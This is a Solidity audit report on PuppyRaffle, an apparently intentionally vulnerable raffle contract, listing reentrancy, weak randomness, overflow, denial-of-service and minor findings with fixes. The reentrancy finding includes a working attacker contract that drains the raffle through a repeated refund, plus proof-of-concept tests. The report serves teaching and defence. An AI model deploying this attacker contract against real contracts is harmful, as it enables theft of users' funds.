# Protocol Audit Report

Version 1.0

*CTZAF*

November 8, 2024

# Protocol Audit Report

CTZAF

November 5, 2024

Prepared by: CTZAF Lead Auditors: - xxxxxxx

## Table of Contents

## Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2.  Duplicate addresses are not allowed
3.  Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4.  Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5.  The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

The CTZAF team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

## Risk Classification

|            |        | Impact |        |     |
|------------|--------|--------|--------|-----|
|            |        | High   | Medium | Low |
|            | High   | H      | H/M    | M   |
| Likelihood | Medium | H/M    | M      | M/L |
|            | Low    | M      | M/L    | L   |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

## Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8
- In Scope:

### Scope

```
1  ./src/
2  #-- PuppyRaffle.sol
```

**Roles**

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

## Executive Summary

I loved auditing this codebase. Patrick is such a wizard at writing intentionally bad code.

**Issues found**

| Severity | Number of issues found |
|----------|------------------------|
| High     | 3                      |
| Medium   | 2                      |
| Low      | 1                      |
| Info     | 7                      |
| Total    | 15                     |

## Findings

**High**

**[H-1] Reentrancy attack in `PuppyRaffle:refund` allows entrant to drain raffle balance**

**Description:** The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1        function refund(uint256 playerIndex) public {
2            address playerAddress = players[playerIndex];
3            require(playerAddress == msg.sender, "PuppyRaffle: Only the
                 player can refund");
```

```
 4            require(playerAddress != address(0), "PuppyRaffle: Player
                  already refunded, or is not active");
 5
 6  @>          payable(msg.sender).sendValue(entranceFee);
 7  @>          players[playerIndex] = address(0);
 8
 9            emit RaffleRefunded(playerAddress);
10        }
```

A player who has entered the raffle could have a `fallback`/ `receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained

**Impact:** All fees paid by raffle entrants could be stolen by the malicious participant.

**Proof of Concept:**

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker call `PuppyRaffle::refund` from their attack contract, draining the contract balance.

**Proof of Code**

Code

Place the following into `PuppyRaffleTest.t.sol`

```
 1      function test_reentrancyRefund() public  {
 2          address[] memory players = new address[](4);
 3          players[0] = playerOne;
 4          players[1] = playerTwo;
 5          players[2] = playerThree;
 6          players[3] = playerFour;
 7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
 8
 9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
                puppyRaffle);
10          address attackUser = makeAddr("attackUser");
11          vm.deal(attackUser, 1 ether);
12
13          uint256 startingAttackContractBalance = address(
                attackerContract).balance;
14          uint256 startingContractBalance = address(puppyRaffle).balance;
15
16          // attack
17          vm.prank(attackUser);
18          attackerContract.attack{value: entranceFee}();
```

```
19
20          console.log("Starting attacker contract balance: ",
                startingAttackContractBalance);
21          console.log("Starting contract balance: ",
                startingContractBalance);
22
23          console.log("ending attacker contract balance: ", address(
                attackerContract).balance);
24          console.log("ending contract balance: ", address(puppyRaffle).
                balance);
25      }
```

And this contract as well.

```
1      contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if(address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33  }
```

**Recommended Mitigation:** To prevent this, we should have the `PuppyRaffle::refund` function

update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
 1         function refund(uint256 playerIndex) public {
 2             address playerAddress = players[playerIndex];
 3             require(playerAddress == msg.sender, "PuppyRaffle: Only the
                   player can refund");
 4             require(playerAddress != address(0), "PuppyRaffle: Player
                   already refunded, or is not active");
 5
 6  +          players[playerIndex] = address(0);
 7  +          emit RaffleRefunded(playerAddress);
 8             payable(msg.sender).sendValue(entranceFee);
 9  -          players[playerIndex] = address(0);
10  -          emit RaffleRefunded(playerAddress);
11         }
```

### [H-2] Weak randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy

**Description:** Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

**Note:** This additionally means users could front-run this function and call `refund` if they see they are not the winner.

**Impact:** Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas was as to who wins the raffles.

**Proof of Concept:**

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values are randomness seed is attack vector in the blockchain space.

**Recommended Mitigation:** Consider using cryptographically provable random number generator such as Chainlink VRF.

**[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees**

**Description:** In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1  uint64 myVar = type(uint64).max
2  // 18446744073709551615
3  myVar = myVar + 1
4  // myVar will be 0
```

**Impact:** In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feedAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feedAddress` my not collect the correct amount of fees, leaving fees permanently stuck in the contract.

**Proof of Concept:** 1. We conclude a raffle of 4 players 2. We then have 89 players enter a new raffle, and conclude the raffle 3. `totalFees` will be:

```
1  totalFees = totalFees + uint64(fee);
2  // aka
3  totalFees = 800000000000000000 + 178000000000000000
4  // and this will overflow!
5  totalFees = 153255926290448384
```

4. you will not be able to withdraw, due to the line in `PuppyRaffle::withdrawFees`:

```
1  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1
2      function testTotalFeesOverflow() public playersEntered {
3
4          vm.warp(block.timestamp + duration + 1);
5          vm.roll(block.number + 1);
6          puppyRaffle.selectWinner();
7          uint256 startingTotalFees = puppyRaffle.totalFees();
8          console.log("starting total fees", startingTotalFees);
9
10         // startingTotalFees = 800000000000000000
11
12         // We then have 89 players enter a new raffle
13         uint256 playersNum = 89;
14         address[] memory players = new address[](playersNum);
```

```
15              for(uint256 i = 0; i < playersNum; i++) {
16                  players[i] = address(i);
17              }
18
19              puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
                    players);
20              // We end the raffle
21              vm.warp(block.timestamp + duration + 1);
22              vm.roll(block.number + 1);
23
24              // And here is where the issue occurs
25              // We will now have fewer fees even though we just finished a
                    second raffle
26              puppyRaffle.selectWinner();
27              uint256 endingTotalFees = puppyRaffle.totalFees();
28              console.log("ending total fees", endingTotalFees);
29              assert(endingTotalFees < startingTotalFees);
30
31              // We are also unable to withdraw any fees because of the
                    require check
32              vm.prank(puppyRaffle.feeAddress());
33              vm.expectRevert("PuppyRaffle: There are currently players
                    active!");
34              puppyRaffle.withdrawFees();
35          }
```

**Recommended Mitigation:** There are a few possible mitigations.

1. User a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`

2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.


**Medium**

**[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants**

**Description:** The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks

a new player will have to make. This means the gas costs for players who enter right when the raffle stats wil be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1  // @audit DoS Attack
2  @>    for (uint256 i = 0; i < players.length - 1; i++) {
3           for (uint256 j = i + 1; j < players.length; j++) {
4               require(players[i] != players[j], "PuppyRaffle:
                     Duplicate player");
5           }
6       }
```

**Impact:** The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the `PuppyRaffle::entrants` array so big, that no one else enters, guaranteeing themselves the win.

**Proof of Concept:**

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252128 gas - 2st 100 players: ~18068218 gas

This is more than 3x more expensive for the second 100 players

Poc

Place the following test into `PuppyRaffleTest.t.sol`

```
1      function test_denialOfSercive() public {
2          vm.txGasPrice(1);
3
4          uint256 playersNum = 100;
5          address[] memory players = new address[](playersNum);
6          for(uint256 i = 0; i < playersNum; i++) {
7              players[i] = address(i);
8          }
9
10         // see how much gas it costs
11         uint256 gasStart = gasleft();
12         puppyRaffle.enterRaffle{value: entranceFee * players.length}(
               players);
13         uint256 gasEnd = gasleft();
14
15         uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
16         console.log("Gas cost of the first 100 players: ", gasUsedFirst
               );
17
18         // now for the 2nd 100 players
```

```
19
20          address[] memory playersTwo = new address[](playersNum);
21          for(uint256 i = 0; i < playersNum; i++) {
22              playersTwo[i] = address(i + playersNum); // 0, 1, 2, ->
                    100, 101, 102
23          }
24
25          // see how much gas it costs
26          uint256 gasStartSecond = gasleft();
27          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
28          uint256 gasEndSecond = gasleft();
29
30          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
31          console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);
32
33          assert(gasUsedFirst < gasUsedSecond);
34      }
```

**Recommended Mitigation:** There are a few recommendations.

1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of wether a user has already entered.

```
1 +    mapping(address => uint256) public addressToRaffleId;
2 +    uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          // q were custom reverts a thing in 0.7.6 of solidity?
8          // what if it's 0?
9          require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
10         for (uint256 i = 0; i < newPlayers.length; i++) {
11             players.push(newPlayers[i]);
12 +            addressToRaffleId[newPlayers[i]] = raffleId;
13         }
14 -       // Check for duplicates
15 +       for(uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] == raffleId, "
       PuppyRaffle: Duplicate player");
17 +         }
18 -       for (uint256 i = 0; i < players.length - 1; i++) {
```

```
19  -            for (uint256 j = i + 1; j < players.length; j++) {
20  -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
21  -            }
22  -        }
23         emit RaffleEnter(newPlayers);
24  }
```

**[M-2] Smart contract wallets raffle winners without a `receive` or a `fallback` function will block the start of a new contest**

**Description:** The `PuppyRaffle:selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would no be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

**Impact:** The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

**Proof of Concept:**

1. 10 smart contract wallet enter the lottery without a fallback or receive function.
2. The lottery ands
3. The `selectWinner` function wouldn't work, even though the lottery is over!

**Recommended Mitigation:** There are a few options to mitigate this issue.

1. Do not allow smart contract waller entrants (not recommended)
2. Create a mapping of addresses -> payout amounts so winner can pull their funds out themselves with a new `claimPrice` function, putting the owness on the winner to claim their prize. (Recommended).

> Pull over Push

## Low

### [L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existent players and for players at index 0, causing a player at index 0 incorrectly think they have not entered the raffle

**Description:** If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array

```
1      // @return the index of the player in the array, if they are not
           active, it returns 0
2      function getActivePlayerIndex(address player) external view returns
           (uint256) {
3          for (uint256 i = 0; i < players.length; i++) {
4              if (players[i] == player) {
5                  return i;
6              }
7          }
8          return 0;
9      }
```

**Impact:** A play at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

**Proof of Concept:**

1. User enters the raffle, they are the first entrant
2. PuppyRaffle::getActivePlayerIndex returns 0
3. User thinks they have not entered correctly due to the function documentation.

**Recommended Mitigation:** The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

## Gas

### [G-1] Unchange state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:  - PuppyRaffle::raffleDuration should be immutable - PuppyRaffle::commonImageUri should be constant - PuppyRaffle::rareImageUri should be constant - PuppyRaffle::legendaryImageUri should be constant

**[G-2] Storage variables in a loop should be cached**

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1  +     uint256 playerLength = players.length;
2  -     for (uint256 i = 0; i < players.length - 1; i++) {
3  +     for (uint256 i = 0; i < playerLength - 1; i++) {
4  -             for (uint256 j = i + 1; j < players.length; j++) {
5  +             for (uint256 j = i + 1; j < playerLength; j++) {
6                   require(players[i] != players[j], "PuppyRaffle:
                        Duplicate player");
7               }
8           }
```

# Info

## [I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

## [I-2]: Using an outdated version is not recommended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

**Recommendation** Deploy with a recent version of Solidity (at least `0.8.0`) with no known severe issues.

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see Slither documentation for more information

## [I-3]: Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

2 Found Instances

- Found in src/PuppyRaffle.sol Line: 69

```
1              feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 220

```
1              feeAddress = newFeeAddress;
```

### [I-4] `PuppyRaffle:selectWinner` does not follow CEI, which is not a vest practice.

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -    (bool success,) = winner.call{value: prizePool}("");
2  -     require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
3       _safeMint(winner, tokenId);
4  +    (bool success,) = winner.call{value: prizePool}("");
5  +     require(success, "PuppyRaffle: Failed to send prize pool to winner
      ");
```

### [I-5] `PuppyRaffle:refund` Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples: "'javascript uint256 public constant PRIZE_POOL_PERCENTAGE = 80; uint256 public constant FEE_PERCENTAGE = 20; uint256 public constant POOL_PRECISION = 100;

### [I-6] State changes are missing events

- Found in src/PuppyRaffle.sol Line: 58

```
1      event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 59

```
1      event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 60

```
1      event FeeAddressChanged(address newFeeAddress);
```

### [I-7] `PuppyRaffle::_isActivePlayer` is never used and should be removed